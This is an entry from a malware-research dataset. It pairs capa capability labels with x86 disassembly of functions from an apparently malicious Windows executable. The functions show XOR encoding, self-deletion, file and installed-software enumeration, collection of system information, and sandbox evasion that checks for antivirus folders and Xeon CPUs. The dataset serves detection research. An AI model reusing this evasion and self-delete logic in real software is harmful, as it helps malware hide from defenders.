joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d809
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x20
mov eax, dword [0x4c3014]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov ebp, ecx
push edi
mov edi, edx
mov dword [esp + 0x18], edi
mov eax, dword [ebp + 8]
lea esi, [ebp + 0x118]
mov ecx, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 0x14]
movsd dword es:[edi], dword [esi]
shld ecx, eax, 3
shld edx, ebx, 3
shl eax, 3
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x14], eax
shl ebx, 3
or eax, ecx
mov dword [esp + 0x10], ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jne 0x40d85d
mov eax, ebx
or eax, edx
je 0x40d922
mov eax, edx
mov byte [esp + 0x1f], dl
shr eax, 0x18
lea esi, [ebp + 0x138]
mov byte [esp + 0x1c], al
lea edi, [esp + 0x1c]
mov eax, edx
mov byte [esp + 0x23], bl
shr eax, 0x10
mov ecx, ebx
mov byte [esp + 0x1d], al
mov eax, edx
shr eax, 8
mov byte [esp + 0x1e], al
mov eax, edx
shrd ecx, eax, 0x18
push 0x10
mov byte [esp + 0x24], cl
mov ecx, ebx
shrd ecx, eax, 0x10
mov eax, ebx
mov ebx, dword [esp + 0x18]
shrd eax, edx, 8
mov edx, dword [esp + 0x14]
mov byte [esp + 0x26], al
mov eax, edx
shr eax, 0x18
mov byte [esp + 0x28], al
mov eax, edx
shr eax, 0x10
mov byte [esp + 0x29], al
mov eax, edx
shr eax, 8
mov byte [esp + 0x25], cl
mov ecx, ebx
mov byte [esp + 0x2a], al
mov eax, edx
shrd ecx, eax, 0x18
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2c], cl
mov ecx, ebx
shrd ecx, eax, 0x10
mov eax, ebx
mov byte [esp + 0x2f], bl
shrd eax, edx, 8
mov byte [esp + 0x2d], cl
mov edx, esi
mov byte [esp + 0x2e], al
pop ecx
mov al, byte [edi]
xor byte [edx], al
inc edi
inc edx
sub ecx, 1
jne 0x40d8fa
push esi
mov edx, esi
mov ecx, ebp
call fcn.0040d2bf
mov edx, dword [esp + 0x1c]
pop ecx
xor ecx, ecx
mov al, byte [esi + ecx]
xor byte [edx + ecx], al
inc ecx
cmp ecx, 0x10
jb 0x40d916
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0047c71d
add esp, 0x20
ret

Function at 0x40d9d6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4c3014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0x18]
push edi
push ecx
lea edi, [ebp - 0x14]
push edi
push dword [ebp + 0x1c]
push esi
push eax
sub esp, 0xc
push edx
call fcn.0040d937
mov edx, dword [ebp + 0x20]
mov eax, edi
add esp, 0x24
xor ecx, ecx
xorps xmm3, xmm3
sub edx, eax
lea eax, [ebp - 0x14]
xorps xmm0, xmm0
add eax, ecx
add ecx, 4
movd xmm2, dword [edx + eax]
movd xmm1, dword [eax]
punpcklbw xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
por xmm3, xmm2
cmp ecx, 0x10
jb 0x40da10
movaps xmm0, xmm3
psrldq xmm0, 8
por xmm3, xmm0
movups xmm0, xmm3
psrldq xmm0, 4
por xmm3, xmm0
movd eax, xmm3
test eax, eax
je 0x40da76
push dword [ebp + 0x1c]
push 0
push esi
call fcn.0047ed30
add esp, 0xc
mov eax, 0x55555555
jmp 0x40da78
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0047c71d
leave
ret
Function at 0x40ded0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
test ecx, ecx
je 0x40def3
xor ebx, ebx
cmp word [ecx], bx
je 0x40def3
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40deef
shr eax, 4
and al, 1
mov bl, al
mov al, bl
pop ebx
ret
xor al, al
pop ebx
ret
Function at 0x40e29e
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
push 0x45c
mov eax, 0x4a18db
call fcn.0047ce8e
mov esi, 0x104
lea eax, [ebp - 0x218]
push esi
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov dword [ebp - 0x428], edi
mov word [ebp - 0x438], ax
lea ecx, [ebp - 0x438]
lea eax, [ebp - 0x218]
mov dword [ebp - 0x424], 7
push eax
call fcn.004103d5
lea eax, [ebp - 0x438]
mov dword [ebp - 4], edi
push eax
mov edx, 0x4b62f4
lea ecx, [ebp - 0x468]
call fcn.00405680
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x450]
mov edx, eax
mov dword [esp], 0x4b62f0
call fcn.0040c112
pop ecx
lea ecx, [ebp - 0x468]
call fcn.00404f32
lea ecx, [ebp - 0x438]
call fcn.00404f32
push esi
lea eax, [ebp - 0x420]
push eax
push str._ComSpec_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp dword [ebp - 0x43c], 8
lea eax, [ebp - 0x450]
push edi
cmovae eax, dword [ebp - 0x450]
push edi
push eax
lea eax, [ebp - 0x420]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x450]
call fcn.00404f32
call fcn.0047ce49
ret

Function at 0x40e6e5
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x878
mov eax, dword [0x4c3014]
xor eax, esp
mov dword [esp + 0x870], eax
push ebx
push ebp
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea eax, [esp + 0x670]
mov ebp, ecx
mov dword [esp + 0xc], edx
push ebp
push str._s
push 0x104
push eax
call edi
add esp, 0x10
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x674]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40e7e1
push 0x4b04a4
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40e7cd
push 0x4b04a8
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40e7cd
lea eax, [esp + 0x3c]
push eax
push ebp
push 0x4b5dc4
lea eax, [esp + 0x26c]
push 0x104
push eax
call edi
add esp, 0x14
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x10]
lea eax, [esp + 0x470]
push 0x4b5dc4
push 0x104
push eax
call edi
add esp, 0x14
lea edx, [esp + 0x468]
test byte [esp + 0x10], 0x10
je 0x40e7bf
lea ecx, [esp + 0x260]
call fcn.0040e6e5
jmp 0x40e7cd
lea eax, [esp + 0x260]
push eax
call fcn.004660d3
pop ecx
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40e73e
mov ecx, dword [esp + 0x87c]
pop edi
pop ebp
pop ebx
xor ecx, esp
call fcn.0047c71d
add esp, 0x878
ret
Function at 0x40e9d9
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x624
mov eax, dword [0x4c3014]
xor eax, esp
mov dword [esp + 0x620], eax
push ebx
mov ebx, dword [esp + 0x634]
lea eax, [esp + 8]
push ebp
push edi
push eax
push 0x20119
xor ebp, ebp
mov dword [esp + 0x24], 0x100
push ebp
push edx
push ecx
mov edi, ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40eb59
push ebp
push ebp
push ebp
push ebp
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x3c]
push eax
push ebp
push dword [esp + 0x2c]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
call ebp
cmp eax, 0x103
je 0x40eb4b
lea ecx, [ebx + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [esp + 0x20], ecx
test eax, eax
jne 0x40eb59
lea eax, [esp + 0x18]
push eax
push 0x20119
push 0
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40eb59
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x100
push eax
lea eax, [esp + 0x22c]
push eax
lea eax, [esp + 0x2c]
push eax
push 0
push str.DisplayName
push dword [esp + 0x2c]
call ebx
test eax, eax
jne 0x40eac3
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x228]
call fcn.00410697
mov edx, 0x4b68e4
mov ecx, eax
call fcn.00410697
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x100
push eax
lea eax, [esp + 0x42c]
push eax
lea eax, [esp + 0x2c]
push eax
push 0
push str.DisplayVersion
push dword [esp + 0x2c]
call ebx
test eax, eax
jne 0x40eb16
mov ecx, dword [esp + 0x20]
mov edx, 0x4b68f4
call fcn.00410697
lea edx, [esp + 0x428]
mov ecx, eax
call fcn.00410697
mov edx, 0x4b68e8
mov ecx, eax
call fcn.00410697
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [esp + 0x1c], 0x100
push eax
push eax
push eax
push eax
lea eax, [esp + 0x2c]
inc edi
push eax
lea eax, [esp + 0x3c]
push eax
push edi
push dword [esp + 0x2c]
call ebp
cmp eax, 0x103
jne 0x40ea51
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x40eb5b
xor al, al
mov ecx, dword [esp + 0x62c]
pop edi
pop ebp
pop ebx
xor ecx, esp
call fcn.0047c71d
add esp, 0x624
ret
Function at 0x40f3b9
Capabilities:
Create directory
Delete directory
Delete file
Get cpu information
Get session user name
Query environment variable
Query or enumerate registry value
Terminate process

Disassembly:
push 0xe6c
mov eax, 0x4a19cc
call fcn.0047ce8e
push 0x3fc
xor ebx, ebx
mov dword [ebp - 0xe78], 0xff
lea eax, [ebp - 0xa28]
push ebx
push eax
call fcn.0047ed30
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0xe74]
add esp, 0xc
push eax
push 0x20119
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40f42f
lea eax, [ebp - 0xe78]
push eax
lea eax, [ebp - 0xa28]
push eax
push ebx
push ebx
push str.ProductName
push dword [ebp - 0xe74]
call esi
push dword [ebp - 0xe74]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push 0x3fc
lea eax, [ebp - 0xe28]
mov dword [ebp - 0xe78], 0xff
push 0
push eax
call fcn.0047ed30
add esp, 0xc
lea eax, [ebp - 0xe74]
push eax
push 0x20119
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call edi
test eax, eax
jne 0x40f49a
lea eax, [ebp - 0xe78]
push eax
lea eax, [ebp - 0xe28]
push eax
push 0
push 0
push str.ProcessorNameString
push dword [ebp - 0xe74]
call esi
push dword [ebp - 0xe74]
call ebx
lea eax, [ebp - 0xe78]
mov dword [ebp - 0xe78], 0x101
push eax
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push 8
pop edx
push 4
pop ecx
call fcn.0040df4e
mov edx, eax
lea ecx, [ebp - 0xe40]
call fcn.004105fe
lea eax, [ebp - 0xe40]
xor ebx, ebx
push eax
lea ecx, [ebp - 0xe58]
mov dword [ebp - 4], ebx
call fcn.0040c0b7
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe70]
mov edx, eax
mov dword [esp], str..txt
call fcn.0040c112
pop ecx
cmp dword [eax + 0x14], 8
jb 0x40f510
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x420]
mov edi, 0x104
push edi
push ecx
push eax
call esi
lea ecx, [ebp - 0xe70]
call fcn.00404f32
lea ecx, [ebp - 0xe58]
mov byte [ebp - 4], bl
call fcn.00404f32
lea eax, [ebp - 0xe40]
push eax
lea ecx, [ebp - 0xe58]
call fcn.0040c0b7
pop ecx
cmp dword [eax + 0x14], 8
jb 0x40f55a
mov eax, dword [eax]
push edi
lea ecx, [ebp - 0x218]
push ecx
push eax
call esi
lea ecx, [ebp - 0xe58]
call fcn.00404f32
push ebx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea ecx, [ebp - 0x218]
call fcn.0040ded0
test al, al
je 0x40f614
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea eax, [ebp - 0x420]
push 0x4b6fb8
push eax
call fcn.00484fc3
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x40f5f6
lea eax, [ebp - 0xa28]
mov edi, 0x4b638c
push eax
push edi
push esi
call fcn.0040da86
add esp, 0xc
lea eax, [ebp - 0x628]
push eax
push edi
push esi
call fcn.0040da86
add esp, 0xc
lea eax, [ebp - 0xe28]
push eax
push edi
push esi
call fcn.0040da86
add esp, 0xc
push esi
call fcn.00484e89
pop ecx
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0xe40]
call fcn.00404f32
call fcn.0047ce49
ret
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40f61c
Capabilities:
Get cpu information
Get memory capacity
Get system information on windows
Query environment variable
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x684
mov eax, dword [0x4c3014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x410]
mov ebx, 0x104
push ebx
push eax
push str._ProgramData_AVG
call edi
lea ecx, [ebp - 0x410]
call fcn.0040ded0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
test al, al
je 0x40f673
mov edx, 0x71b7
mov ecx, 0x5f89
call fcn.0040df4e
push eax
call esi
push ebx
lea eax, [ebp - 0x618]
push eax
push str._ProgramData_AVAST_Software
call edi
lea ecx, [ebp - 0x618]
call fcn.0040ded0
test al, al
je 0x40f6a3
mov edx, 0x697a
mov ecx, 0x61a9
call fcn.0040df4e
push eax
call esi
lea eax, [ebp - 0x684]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edi, edi
cmp dword [ebp - 0x670], 1
je 0x40f7aa
push edi
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
mov dword [ebp - 0x658], 0x40
lea eax, [ebp - 0x658]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov edx, dword [ebp - 0x650]
mov ecx, dword [ebp - 0x64c]
shrd edx, ecx, 0x14
shr ecx, 0x14
cmp ecx, edi
ja 0x40f702
cmp edx, 0x7eb
jb 0x40f7aa
cmp esi, 0x409
jl 0x40f7aa
cmp esi, 0x500
jne 0x40f726
cmp edx, 0x7ff
jne 0x40f726
cmp ecx, edi
je 0x40f7aa
push 0x1fe
lea eax, [ebp - 0x208]
mov dword [ebp - 0x660], 0xff
push edi
push eax
call fcn.0047ed30
add esp, 0xc
lea eax, [ebp - 0x65c]
push eax
push 0x20119
push edi
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40f787
lea eax, [ebp - 0x660]
push eax
lea eax, [ebp - 0x208]
push eax
push edi
push edi
push str.ProcessorNameString
push dword [ebp - 0x65c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x65c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x208]
push str.Xeon
push eax
call fcn.0047db9f
pop ecx
pop ecx
test eax, eax
je 0x40f7b1
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0047c71d
leave
ret
Function at 0x415671
Capabilities:
Create thread

Disassembly:
push ecx
push ebp
push esi
mov ebp, ecx
push edi
mov edi, edx
push 0x14
and dword [ebp], 0
mov dword [esp + 0x10], edi
call fcn.00413bd0
mov esi, eax
pop ecx
test esi, esi
jne 0x415694
push 7
pop eax
jmp 0x415708
cmp dword [0x4c3afc], 0
push ebx
mov ebx, dword [esp + 0x18]
je 0x4156df
mov eax, dword [0x4c3c00]
test eax, eax
je 0x4156b5
push 0xc8
call eax
pop ecx
jmp 0x4156b7
xor eax, eax
test eax, eax
jne 0x4156df
lea eax, [esi + 4]
mov dword [esi + 8], edi
push eax
push 0
push esi
push 0x415654
push 0
push 0
mov dword [esi + 0xc], ebx
call fcn.0048a6ed
add esp, 0x18
mov dword [esi], eax
test eax, eax
jne 0x4156ec
xor eax, eax
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [esp + 0x10]
cmp dword [esi + 8], 0
jne 0x415702
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push ebx
mov dword [esi + 4], eax
call edi
pop ecx
mov dword [esi + 0x10], eax
mov dword [ebp], esi
xor eax, eax
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret
Function at 0x420f3d
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0xc
movzx eax, word [ecx + 0xe]
and dword [esp], 0
push ebx
push ebp
movzx ebp, byte [ecx + 6]
push esi
movzx esi, word [ecx + 0x12]
push edi
mov edi, dword [ecx + 0x38]
mov dword [esp + 0x14], edx
lea esi, [eax + esi*2]
mov dword [esp + 0x18], ecx
movzx ebx, byte [edi + ebp + 5]
movzx eax, byte [edi + ebp + 6]
shl ebx, 8
or ebx, eax
cmp esi, ebx
jbe 0x420f97
test ebx, ebx
jne 0x420f86
mov eax, dword [ecx + 0x34]
mov ebx, 0x10000
cmp dword [eax + 0x24], ebx
je 0x420f97
pop edi
pop esi
pop ebp
mov ecx, 0xdb1e
pop ebx
add esp, 0xc
jmp fcn.00461cb5
cmp byte [edi + ebp + 2], 0
jne 0x420fa5
cmp byte [edi + ebp + 1], 0
je 0x420fd5
lea eax, [esi + 2]
cmp eax, ebx
ja 0x420fd5
lea eax, [esp + 0x10]
push eax
call fcn.00420e43
pop ecx
test eax, eax
je 0x420fc5
mov ecx, dword [esp + 0x20]
sub eax, edi
mov dword [ecx], eax
jmp 0x421014
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x421016
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
lea eax, [esi + 2]
add eax, edx
cmp eax, ebx
jle 0x420fff
call fcn.00420ca6
test eax, eax
jne 0x421016
movzx ecx, byte [edi + ebp + 5]
movzx eax, byte [edi + ebp + 6]
mov edx, dword [esp + 0x14]
shl ecx, 8
or ecx, eax
dec ecx
movzx ebx, cx
inc ebx
sub ebx, edx
mov eax, ebx
mov byte [edi + ebp + 6], bl
sar eax, 8
mov byte [edi + ebp + 5], al
mov eax, dword [esp + 0x20]
mov dword [eax], ebx
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x422da8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x14], edx
xor ebx, ebx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], ebx
test edi, edi
je 0x422e13
call fcn.004203ea
mov eax, dword [edi + 4]
mov esi, dword [eax + 8]
jmp 0x422e61
cmp dword [ebp + 8], 0
je 0x422e1c
test byte [esi + 0x40], 1
jne 0x422e1c
mov al, byte [esi + 0x42]
cmp al, 1
je 0x422def
cmp al, 2
jne 0x422e2e
mov ecx, esi
call fcn.00420637
mov ebx, eax
mov dword [esp + 0x10], ebx
test ebx, ebx
je 0x422e2e
push 0
mov edx, ebx
mov ecx, edi
call fcn.00422da8
pop ecx
mov ecx, edi
call fcn.0042045c
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, esi
call fcn.004206e2
mov eax, dword [esp + 0x14]
mov byte [esi + 0x42], 4
mov dword [esi + 0x3c], eax
and dword [esp + 0x18], 0
cmp byte [esi + 0x44], 0
jl 0x422e5e
mov ebx, dword [esp + 0x18]
lea edi, [esi + 0x78]
mov ecx, dword [edi]
call fcn.00421789
and dword [edi], 0
inc ebx
movsx eax, byte [esi + 0x44]
lea edi, [edi + 4]
cmp ebx, eax
jle 0x422e40
mov edi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x10]
mov esi, dword [esi + 8]
test esi, esi
jne 0x422dd8
jmp 0x422e0c
Function at 0x4294b1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movsx eax, byte [ecx + 0x44]
push ebx
push ebp
push esi
mov eax, dword [ecx + eax*4 + 0x78]
mov ebx, edx
movzx edx, word [ecx + 0x20]
xor ebp, ebp
mov esi, dword [esp + 0x10]
push edi
mov eax, dword [eax + 0x3c]
mov edi, dword [ecx + 0x18]
sub eax, edi
cmp edx, eax
cmovae edx, eax
lea eax, [ebx + esi]
cmp eax, edx
ja 0x4294f5
mov ecx, dword [esp + 0x1c]
lea eax, [edi + ebx]
mov dword [ecx + 0x10], eax
mov eax, 0x1010
mov word [ecx + 8], ax
mov dword [ecx + 0xc], esi
jmp 0x42950a
push dword [esp + 0x1c]
mov edx, ebx
push dword [esp + 0x1c]
push esi
call fcn.00429427
add esp, 0xc
mov ebp, eax
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
ret
Function at 0x42a137
Capabilities:
Enumerate pe sections

Disassembly:
movsx eax, byte [ecx + 1]
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, edx
mov ebx, esi
push edi
cmp eax, 0xfffffff4
jg 0x42a1ba
je 0x42a1a5
cmp eax, 0xffffffed
je 0x42a1e8
cmp eax, 0xffffffee
je 0x42a19e
cmp eax, 0xfffffff1
je 0x42a189
cmp eax, 0xfffffff2
je 0x42a17c
cmp eax, 0xfffffff3
jne 0x42a1db
mov eax, dword [ecx + 0x10]
push dword [eax + 4]
push dword [eax]
push str._lld
jmp 0x42a20e
push dword [ecx + 0x10]
push 0x4b85fc
jmp 0x42a34e
push str.intarray
push esi
push 0x20
call fcn.00415440
add esp, 0xc
jmp 0x42a359
push str.program
jmp 0x42a18e
mov eax, dword [ecx + 0x10]
movsd xmm0, qword [eax]
push ecx
push ecx
movsd qword [esp], xmm0
push str._.16g
jmp 0x42a20e
cmp eax, 0xfffffff6
je 0x42a343
cmp eax, 0xfffffff8
je 0x42a30a
cmp eax, 0xfffffffa
je 0x42a21e
cmp eax, 0xfffffffb
je 0x42a1ff
cmp eax, 0xfffffffc
je 0x42a1f0
mov ebx, dword [ecx + 0x10]
test ebx, ebx
jne 0x42a359
mov ebx, esi
mov byte [esi], 0
jmp 0x42a359
mov eax, dword [ecx + 0x10]
push dword [eax]
push str.__.20s_
jmp 0x42a34e
mov ecx, dword [ecx + 0x10]
movsx eax, word [ecx]
push eax
push dword [ecx + 0x18]
push str._s__d_
push esi
push 0x20
call fcn.00415440
add esp, 0x14
jmp 0x42a359
mov ebp, dword [ecx + 0x10]
mov dword [esp + 0x1c], ebp
movzx eax, word [ebp + 6]
push eax
push str.k__d
push esi
push 0x20
call fcn.00415440
add esp, 0x10
mov ecx, esi
call fcn.00415cec
and dword [esp + 0x10], 0
mov edi, eax
xor eax, eax
cmp ax, word [ebp + 6]
jae 0x42a302
lea ecx, [ebp + 0x14]
mov dword [esp + 0x18], ecx
mov ebp, dword [ecx]
test ebp, ebp
je 0x42a266
mov ebp, dword [ebp]
jmp 0x42a26b
mov ebp, 0x4b85dc
mov ecx, ebp
call fcn.00415cec
mov ecx, eax
mov dword [esp + 0x14], ecx
cmp ecx, 6
jne 0x42a29a
cmp dword [ebp], 0x414e4942
jne 0x42a29a
cmp word [ebp + 4], 0x5952
jne 0x42a29a
xor ecx, ecx
mov ebp, 0x4b85e8
inc ecx
mov dword [esp + 0x14], ecx
lea eax, [ecx + edi]
cmp eax, 0x19
jg 0x42a2f8
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
mov byte [edi + esi], 0x2c
inc edi
mov eax, dword [eax + 0x10]
cmp byte [edx + eax], 0
je 0x42a2bd
mov byte [edi + esi], 0x2d
inc edi
lea eax, [ecx + 1]
push eax
lea eax, [edi + esi]
push ebp
push eax
call fcn.0047e230
mov eax, dword [esp + 0x28]
add esp, 0xc
mov edx, dword [esp + 0x10]
add edi, dword [esp + 0x14]
inc edx
mov ecx, dword [esp + 0x18]
movzx eax, word [eax + 6]
add ecx, 4
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], ecx
cmp edx, eax
jl 0x42a25b
jmp 0x42a302
mov dword [edi + esi], 0x2e2e2e2c
add edi, 4
mov word [edi + esi], 0x29
jmp 0x42a359
mov eax, dword [ecx + 0x10]
movzx ecx, word [eax + 8]
test cl, 2
je 0x42a31b
mov ebx, dword [eax + 0x10]
jmp 0x42a359
test cl, 4
jne 0x42a16d
test cl, 8
jne 0x42a1a8
test cl, 1
je 0x42a33c
push str.NULL
jmp 0x42a18e
mov ebx, str._blob_
jmp 0x42a359
mov ecx, dword [ecx + 0x10]
push dword [ecx + 8]
push str.vtab:_p
push esi
push 0x20
call fcn.00415440
add esp, 0x10
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x10
ret
Function at 0x43791c
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, edx
mov ebp, ecx
push edi
test esi, esi
je 0x437971
push 8
pop edx
call fcn.00413fe8
mov edi, eax
mov dword [esp + 0x1c], edi
test edi, edi
je 0x437971
test byte [esp + 0x24], 1
mov ecx, dword [esi]
mov dword [edi], ecx
jne 0x437955
xor ecx, ecx
inc ecx
cmp dword [esi], ecx
jle 0x437955
add ecx, ecx
cmp ecx, dword [esi]
jl 0x43794f
imul edx, ecx, 0x18
mov ecx, ebp
call fcn.00413fe8
mov ebx, eax
mov dword [edi + 4], ebx
test ebx, ebx
jne 0x43797b
mov edx, edi
mov ecx, ebp
call fcn.00413e42
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, dword [esi + 4]
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x14], eax
cmp dword [esi], eax
jle 0x437a00
mov edi, dword [esp + 0x18]
lea eax, [ebx + 0x10]
mov dword [esp + 0x10], eax
sub ebx, edi
push dword [esp + 0x24]
mov edx, dword [edi]
mov ecx, ebp
call fcn.0043790e
pop ecx
mov dword [ebx + edi], eax
mov ecx, ebp
mov edx, dword [edi + 4]
call fcn.0041410e
mov ecx, dword [esp + 0x10]
mov dword [ecx - 0xc], eax
mov ecx, ebp
mov edx, dword [edi + 8]
call fcn.0041410e
mov ecx, dword [esp + 0x10]
lea edi, [edi + 0x18]
mov dword [ecx - 8], eax
mov al, byte [edi - 0xc]
and dword [ecx], 0xfffffffe
mov byte [ecx - 4], al
mov eax, dword [edi - 8]
xor eax, dword [ecx]
and eax, 2
xor dword [ecx], eax
mov eax, dword [edi - 4]
mov dword [ecx + 4], eax
add ecx, 0x18
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
cmp eax, dword [esi]
jl 0x437999
mov edi, dword [esp + 0x1c]
mov eax, edi
jmp 0x437973